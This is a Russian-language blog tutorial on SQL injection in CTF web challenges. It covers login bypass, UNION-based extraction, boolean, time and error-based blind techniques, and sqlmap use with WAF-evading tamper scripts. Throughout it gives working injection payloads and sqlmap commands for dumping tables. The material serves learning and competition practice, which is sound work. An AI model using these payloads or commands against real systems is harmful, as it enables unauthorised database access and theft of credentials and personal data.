Главная / Блог / SQL-инъекции в CTF: от ручного обхода авторизации до слепых блайнд-техник с sqlmap

14 мин.00

SQL-инъекции в CTF: от ручного обхода авторизации до слепых блайнд-техник с sqlmap

SQL-инъекции в CTF: от ручного обхода авторизации до слепых блайнд-техник с sqlmap

SQL-инъекции в CTF: от ручного обхода авторизации до слепых блайнд-техник с sqlmap

На последнем jeopardy-CTF я насчитал шесть веб-задач из десяти, завязанных на SQL-инъекции — от тривиального обхода логина до слепой инъекции в cookie, которую пришлось раскручивать посимвольно через time-based blind. Трое новичков в команде намертво застряли на ' OR '1'='1 и не сдвинулись за весь турнир. А те, кто закрыл пять задач за час, отличались не глубиной знания SQL, а наличием чёткой методологии: определи тип инъекции, выбери технику, при необходимости переключись на автоматизацию. Здесь — полный разбор этой методологии с конкретными пейлоадами, командами sqlmap и алгоритмом выбора вектора.

Место SQL-инъекции в цепочке CTF-атаки

По MITRE ATT&CK SQL-инъекция — техника Exploit Public-Facing Application (T1190, Initial Access). Атакующий находит точку ввода в веб-приложении и через неё добирается до базы данных — тактика Collection, техника Databases (T1213.006). В продвинутых CTF-задачах инъекция ведёт к чтению файлов на сервере (Data from Local System, T1005) или к закреплению через SQL Stored Procedures (T1505.001, Persistence). По классификации OWASP это A03:2021 — Injection. Подробнее — в нашем руководстве по пентест веб-приложений.

В CTF цепочка обычно короче реального пентеста, но логика та же:

  1. Обнаружение точки входа — параметр URL, поле формы, cookie, HTTP-заголовок
  2. Определение СУБД — MySQL, PostgreSQL, SQLite, MSSQL
  3. Классификация типа инъекции — error-based, UNION-based, blind (boolean / time)
  4. Извлечение метаданных — имена таблиц и столбцов
  5. Извлечение флага — финальный SELECT из целевой таблицы

Каждый шаг зависит от результата предыдущего. Понимание этой последовательности — то, что отличает системный подход от хаотичного перебора пейлоадов.

Зачем злоумышленнику SQL-инъекция в реальном мире? Несанкционированный доступ к базе: учётки, платёжка, персональные данные. По данным Verizon DBIR 2025, 26% всех подтверждённых нарушений — веб-атаки, и инъекции остаются одним из основных векторов. В CTF всё проще: цель — флаг, но цепочка действий идентична.

Ручной поиск SQL injection: определение точки входа и СУБД

Прежде чем запускать инструменты, нужно руками нащупать уязвимость. Алгоритм, который я применяю на каждой веб-задаче CTF, начинается с одинарной кавычки.

Реакция на спецсимвол: три сценария

Вставляем ' в подозрительный параметр (GET/POST, cookie, заголовок). Три возможных исхода:

  1. Сообщение об ошибке SQL — текст вроде You have an error in your SQL syntax или Unterminated string literal. Это error-based SQLi — самый быстрый путь к флагу.
  2. Изменение контента страницы — часть содержимого пропала или появилась. Boolean-based blind: приложение ведёт себя по-разному в зависимости от истинности условия.
  3. Ответ не изменился — ни ошибки, ни разницы в контенте. Проверяем time-based: отправляем ' AND SLEEP(5)-- для MySQL или '; SELECT pg_sleep(5)-- для PostgreSQL. Задержка ответа на пять секунд — инъекция есть, но слепая.

Если ни один вариант не сработал — параметр либо не уязвим, либо фильтруется. Переходим к следующей точке ввода.

Определение СУБД по синтаксису

Синтаксис пейлоадов критически различается между СУБД. По данным SQL Injection Cheat Sheet от Invicti, именно разница в синтаксисе — главная причина, почему универсальные пейлоады проваливаются на задачах средней сложности. Быстрые тесты:

  • %23 работает как комментарий (символ # в URL-кодировке) — MySQL/MariaDB. Дополнительно проверяем через @@version
  • Двойная вертикальная черта || конкатенирует строки — PostgreSQL или SQLite
  • ' AND @@version>0-- возвращает результат — MySQL или MSSQL
  • ' UNION SELECT sqlite_version()-- успешен — SQLite
Операция MySQL PostgreSQL SQLite MSSQL
Комментарий -- , # -- -- --
Конкатенация строк CONCAT() \|\| \|\| +
Версия @@version version() sqlite_version() @@version
Текущая БД database() current_database() Нет db_name()
Метаданные таблиц information_schema.tables information_schema.tables sqlite_master information_schema.tables

Определение СУБД на ранней стадии экономит десятки минут: вместо перебора всех вариантов пейлоадов работаешь с конкретным синтаксисом.

Обход авторизации SQL injection

[Применимо: CTF-задачи с формой логина, где результат запроса определяет успешность аутентификации]

Классика CTF: форма входа, цель — залогиниться как admin без пароля. Приложение выполняет запрос вида SELECT * FROM users WHERE username = '[input]' AND password = '[input]'.

Если вбить в поле username значение administrator'--, а пароль оставить пустым, запрос превращается в SELECT * FROM users WHERE username = 'administrator'--' AND password = ''. Двойное тире комментирует проверку пароля — запрос возвращает запись администратора. Просто и красиво.

Вариации, которые регулярно попадаются на CTF:

  • ' OR '1'='1'-- — универсальный обход, возвращает первого пользователя в таблице (обычно admin)
  • admin'/* — inline-комментарий вместо --, работает в MySQL
  • ' OR 1=1 LIMIT 1-- — если приложение ожидает ровно одну запись в результате
  • admin' AND '1'='1 — закрываем кавычку без комментария, когда -- и # фильтруются
  • ' OR 1=1 ORDER BY 1-- — контролируем порядок, чтобы вернулся нужный пользователь

Предусловия: техника работает только если приложение конструирует SQL-запрос через конкатенацию строк, а не через параметризованные запросы (prepared statements). В CTF это встречается почти всегда; в реальных приложениях — по данным OWASP A03:2021 — остаётся распространённой ошибкой.

Когда не работает: приложение хеширует пароль на стороне приложения (а не в SQL), проверяет количество возвращённых строк или использует ORM с автоматической параметризацией. Ещё один подводный камень — GBK-кодировка: функция addslashes() экранирует кавычку, но многобайтовый символ GBK может «поглотить» обратный слеш. На CTF это отдельная категория задач.

UNION-based SQL injection: пошаговое извлечение данных

[Применимо: задачи, где результат SELECT отображается на странице — каталоги, профили, поиск]

UNION-based инъекция — рабочая лошадка CTF-задач на sql инъекции ctf. Оператор UNION присоединяет к оригинальному запросу произвольный SELECT, и результат появляется прямо на странице. По данным Acunetix, UNION-based SQLi позволяет объединить результаты нескольких SELECT-запросов в единый HTTP-ответ.

Определение числа столбцов

Без точного совпадения числа столбцов UNION выбросит ошибку. Два метода:

ORDER BY (бинарный поиск). Последовательно увеличиваем номер: ' ORDER BY 1-- — ОК, ' ORDER BY 5-- — ошибка, ' ORDER BY 3-- — ОК, ' ORDER BY 4-- — ошибка. Итого три столбца. Находится за log2(N) запросов — при 10 столбцах это четыре попытки вместо десяти.

UNION SELECT NULL. Добавляем NULL-значения: ' UNION SELECT NULL-- — ошибка, ' UNION SELECT NULL, NULL-- — ошибка, ' UNION SELECT NULL, NULL, NULL-- — результат. Медленнее ORDER BY, но надёжнее когда ORDER BY синтаксически запрещён контекстом запроса.

Полная цепочка извлечения флага

После определения количества столбцов находим, какие из них отображаются на странице. Запрос -1' UNION SELECT 'aaa', 'bbb', 'ccc'-- покажет, где появляются маркерные строки — именно в эти позиции подставляем подзапросы. Отрицательное значение -1 гарантирует, что оригинальный запрос вернёт пустой результат и не перекроет данные UNION.

Допустим, MySQL, три столбца, второй отображается:

-- Шаг 1: таблицы текущей БД
-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3
  FROM information_schema.tables
  WHERE table_schema=database()--
-- Шаг 2: столбцы целевой таблицы
-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3
  FROM information_schema.columns
  WHERE table_name='flag'--
-- Шаг 3: забираем флаг
-1' UNION SELECT 1, flag, 3 FROM flag--

Для SQLite вместо information_schema используется sqlite_master: запрос -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- вернёт CREATE TABLE со всеми именами столбцов. Это ключевое отличие, на котором стабильно ломаются новички, привыкшие к MySQL.

Ограничения UNION-based. Техника мертва, если вывод запроса не отображается на странице — тогда нечего «юнионить». В PostgreSQL строже типизация столбцов — может потребоваться CAST(1 AS text). WAF-фильтры на слово UNION обходятся через смену регистра (uNiOn), inline-комментарии (UN/**/ION) или кодирование через hex-значения.

Blind SQL injection техники: boolean, time и error-based

[Применимо: формы логина без вывода данных, cookie-based инъекции, задачи без отображения ошибок]

Blind SQL-инъекция — самый муторный тип задач в CTF. Приложение не возвращает ни результат запроса, ни ошибку — только косвенные признаки. Как отмечает PortSwigger, многие реальные уязвимости являются слепыми, и техники UNION к ним неприменимы. Разберём каждый подтип.

Boolean-based blind SQLi

Принцип: формулируем вопрос TRUE/FALSE и определяем ответ по поведению приложения. Классический пример из PortSwigger Web Security Academy — cookie TrackingId:

  • xyz' AND '1'='1 — страница содержит «Welcome back» (TRUE)
  • xyz' AND '1'='2 — «Welcome back» отсутствует (FALSE)

Данные извлекаются посимвольно через бинарный поиск. Пейлоад xyz' AND SUBSTRING((SELECT password FROM users WHERE username='Administrator'),1,1)>'m — если TRUE, первый символ пароля в диапазоне n-z. Каждый символ определяется за 6-8 запросов (бинарный поиск по алфавиту 26 букв + цифры + спецсимволы).

Для извлечения строки из 20 символов потребуется 120-160 HTTP-запросов. Руками это мучительно, и именно здесь sqlmap экономит часы. Для MySQL вместо SUBSTRING можно использовать MID() или SUBSTR() — на некоторых CTF одна из функций заблокирована фильтром, так что держите в голове все три.

Time-based blind SQLi

Когда контент страницы вообще не меняется — ни текст, ни HTTP-код ответа — остаётся единственный канал: время. Логика: если условие истинно, СУБД засыпает на N секунд.

Пейлоады различаются по СУБД:

  • MySQL: ' AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s', SLEEP(5), 0)--
  • PostgreSQL: '; SELECT CASE WHEN SUBSTRING(flag,1,1)='s' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM flag--
  • MSSQL: '; IF (SUBSTRING((SELECT flag FROM flag),1,1)='s') WAITFOR DELAY '0:0:5'--

По данным OWASP, для MySQL можно использовать BENCHMARK(5000000, ENCODE('MSG','by 5 seconds')) вместо SLEEP() — если SLEEP заблокирован WAF. Функция BENCHMARK повторяет операцию указанное число раз, создавая задержку без явного вызова sleep-функции.

Извлечение 20-символьного флага при задержке в 3 секунды — около 300-480 секунд чистого ожидания плюс сетевые задержки. На CTF с лимитом в два часа это критично: если задача решается только time-based, автоматизация обязательна.

Error-based через extractvalue и CAST

[Применимо: CTF-задачи с отображением ошибок БД, конфигурации без подавления verbose errors]

Error-based SQLi — самый быстрый путь к флагу, когда приложение показывает тексты ошибок. Как описывает PortSwigger, функция CAST() превращает слепую инъекцию в видимую: попытка привести строку к integer заставляет СУБД вернуть содержимое строки прямо в тексте ошибки.

Для MySQL основные функции — extractvalue() и updatexml(). Пейлоад ' AND extractvalue(1, concat(0x7e, (SELECT flag FROM flag)))-- заставляет функцию получить XPath-выражение вида ~FLAG{...} вместо корректного /root/node, и она выбрасывает ошибку XPATH syntax error: '~FLAG{...}'. Флаг — прямо в тексте ошибки. Красота.

Ограничение: extractvalue() и updatexml() в MySQL возвращают максимум 32 символа. Для длинных значений придётся резать через SUBSTRING(): конструкция extractvalue(1, concat(0x7e, substring((SELECT flag FROM flag), 10, 32))) извлекает данные порциями.

Для PostgreSQL стандартный приём — CAST(): пейлоад ' AND 1=CAST((SELECT flag FROM flag LIMIT 1) AS int)-- вернёт ERROR: invalid input syntax for type integer: "FLAG{...}".

Отдельная техника — conditional errors через CASE WHEN, описанная PortSwigger для случаев, когда контент страницы не меняется, но приложение по-разному обрабатывает ошибки. Пейлоад: xyz' AND (SELECT CASE WHEN (SUBSTRING(password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM users WHERE username='Administrator')='a. Если условие истинно — деление на ноль и HTTP 500; если ложно — нормальный ответ. Это гибрид blind и error-based: посимвольное извлечение, но через ошибку деления.

Автоматизация SQL injection через sqlmap

Требования к окружению

  • ОС: любая (Windows, Linux, macOS)
  • Python: 2.7 или 3.x
  • RAM: минимум 512 МБ (sqlmap нетребователен к ресурсам)
  • Дополнительно: Burp Suite Community Edition для перехвата HTTP-запросов и сохранения в файл
  • Установка: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

sqlmap для начинающих: базовые флаги

Я использую sqlmap как инструмент эксплуатации, а не обнаружения — сначала нахожу инъекцию руками через Burp Repeater, подтверждаю PoC, и только потом скармливаю sqlmap для автоматизации извлечения данных. Чем больше информации передать sqlmap, тем быстрее он отрабатывает и тем меньше генерирует мусорного трафика.

# Из сохранённого Burp-запроса (рекомендуется)
python sqlmap.py -r request.txt --dbs
# С указанием СУБД и техники (ускоряет в 3-5 раз)
python sqlmap.py -r request.txt --dbms=mysql --technique=U --dbs
# Полная цепочка: БД → таблицы → столбцы → дамп
python sqlmap.py -r request.txt -D ctf_db -T flag --dump
# Boolean-blind с маркером TRUE-ответа
python sqlmap.py -r request.txt --technique=B --string="Welcome" --dbs

Ключевые флаги для CTF:

Флаг Назначение Когда применять
-r request.txt Загрузка запроса из файла Burp Всегда, когда инъекция не в GET-параметре
--dbms=mysql Указание СУБД После ручного определения СУБД
--technique=BEUSTQ Выбор техник Для сужения области сканирования
--level=3 --risk=2 Глубина тестирования Когда стандартные пейлоады не работают
--string="Welcome" Маркер TRUE-ответа Для boolean-based blind
--time-sec=3 Задержка для time-based Для ускорения на CTF
-p id Конкретный параметр Когда параметров несколько
--threads=10 Параллельные запросы Только для boolean-based

Ограничения: флаг --threads нельзя использовать с time-based blind — параллельные запросы со SLEEP() дают ложные результаты. Параметры --level=5 --risk=3 генерируют огромный объём трафика и могут положить слабый CTF-сервер. На соревнованиях с ограничением по запросам ставьте --delay=1.

Обход WAF sqlmap с tamper-скриптами

На продвинутых CTF-задачах часто встречаются WAF-фильтры: блокировка ключевых слов UNION, SELECT, пробелов, комментариев. Sqlmap поддерживает tamper-скрипты — модули, которые трансформируют пейлоад перед отправкой.

Tamper-скрипт Что делает Против какого фильтра
space2comment Заменяет пробелы на /**/ Фильтрация пробелов
randomcase Меняет регистр (sElEcT) Точное совпадение ключевых слов
between Заменяет > на NOT BETWEEN 0 AND Фильтрация операторов сравнения
charencode URL-кодирует пейлоад Базовые WAF-правила
equaltolike Заменяет = на LIKE Фильтрация знака =
hex2char Кодирует строки в hex Фильтрация кавычек

Пример: python sqlmap.py -r request.txt --tamper=space2comment,randomcase --dbms=mysql --dbs. Скрипты комбинируются через запятую. Для нестандартных фильтров sqlmap позволяет написать собственный tamper на Python — несколько строк кода с функцией tamper(payload), которая модифицирует строку перед отправкой.

Сравнение ручной эксплуатации и sqlmap:

Характеристика Ручная эксплуатация sqlmap
Скорость обнаружения Быстрее для простых случаев Медленнее из-за перебора
Скорость извлечения (blind) Мучительно В разы быстрее
Точность Полный контроль Ложные срабатывания на нестандартном поведении
Обход кастомных фильтров Максимальная гибкость Требует tamper-скриптов или --prefix/--suffix
CTF с rate-limit Не проблема Может спровоцировать бан
Когда использовать Первичная разведка, нестандартные задачи Blind-извлечение, дамп больших таблиц
Когда НЕ использовать Извлечение 50+ символов blind Жёсткий rate-limit, нестандартный SQL-контекст

Когда какую технику применять: decision tree выбора SQL-инъекции

Выбор техники — не вопрос вкуса, а результат классификации ответа приложения. Алгоритм, который я использую на каждом CTF:

  1. Вставил ' — видишь SQL-ошибку в ответе? - Да — Error-based. Используй extractvalue() для MySQL, CAST() для PostgreSQL. Один запрос = одна порция данных. Самый быстрый путь. - Нет — переходи к шагу 2.

  2. Результат запроса виден на странице? (текст, таблица, данные из БД в HTML) - Да — UNION-based. Определи число столбцов через ORDER BY, найди отображаемый столбец, подставь подзапрос. - Нет — переходи к шагу 3.

  3. Контент страницы различается при TRUE/FALSE? (отправь ' AND '1'='1 и ' AND '1'='2 — ответ разный?) - Да — Boolean-based blind. Извлекай посимвольно. Автоматизируй sqlmap: --technique=B --string="маркер". - Нет — переходи к шагу 4.

  4. Ответ задерживается при SLEEP(5)? - Да — Time-based blind. Самый медленный путь. Сразу sqlmap: --technique=T --time-sec=3. - Нет — параметр не уязвим, либо фильтруется. Пробуй tamper-скрипты или другую точку ввода.

Правильная классификация на этом этапе экономит 30-40 минут на задаче. Ошибка в выборе техники — главная причина, почему новички тратят весь турнир на одну задачу.

Из опыта решения CTF: большинство участников переоценивают сложность blind-инъекций и недооценивают error-based. Если на задаче видны ошибки СУБД — не тратьте время на UNION, берите extractvalue() или CAST(). Один HTTP-запрос с error-based пейлоадом даёт столько же данных, сколько полная UNION-цепочка, но без возни с определением числа столбцов и поиском отображаемой позиции.

Обратная ситуация тоже верна: если ни ошибок, ни вывода данных — не пытайтесь заставить работать UNION. Переключайтесь на blind и автоматизируйте. Попытки подогнать неподходящую технику — стабильная потеря 40 минут.

И ещё момент, который редко обсуждают: sqlmap — не серебряная пуля. На нестандартных задачах с кастомной обфускацией или вложенными запросами sqlmap без ручной настройки не справляется. Я видел задачи, где sqlmap с дефолтами крутился 20 минут и ничего не нашёл, хотя руками через Burp Repeater инъекция подтвердилась за 30 секунд. Причина — нестандартный контекст SQL-запроса, который не покрывается на --level=1. После указания --level=3 --risk=2 --prefix="'))" --suffix="-- -" всё заработало. Методология «сначала руками, потом автоматизация» работает стабильнее, чем слепой запуск sqlmap на каждый параметр. Если хочешь не просто writeup'ы читать, а пройти всю цепочку самому — на WAPT эту связку проходят в нескольких модулях с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...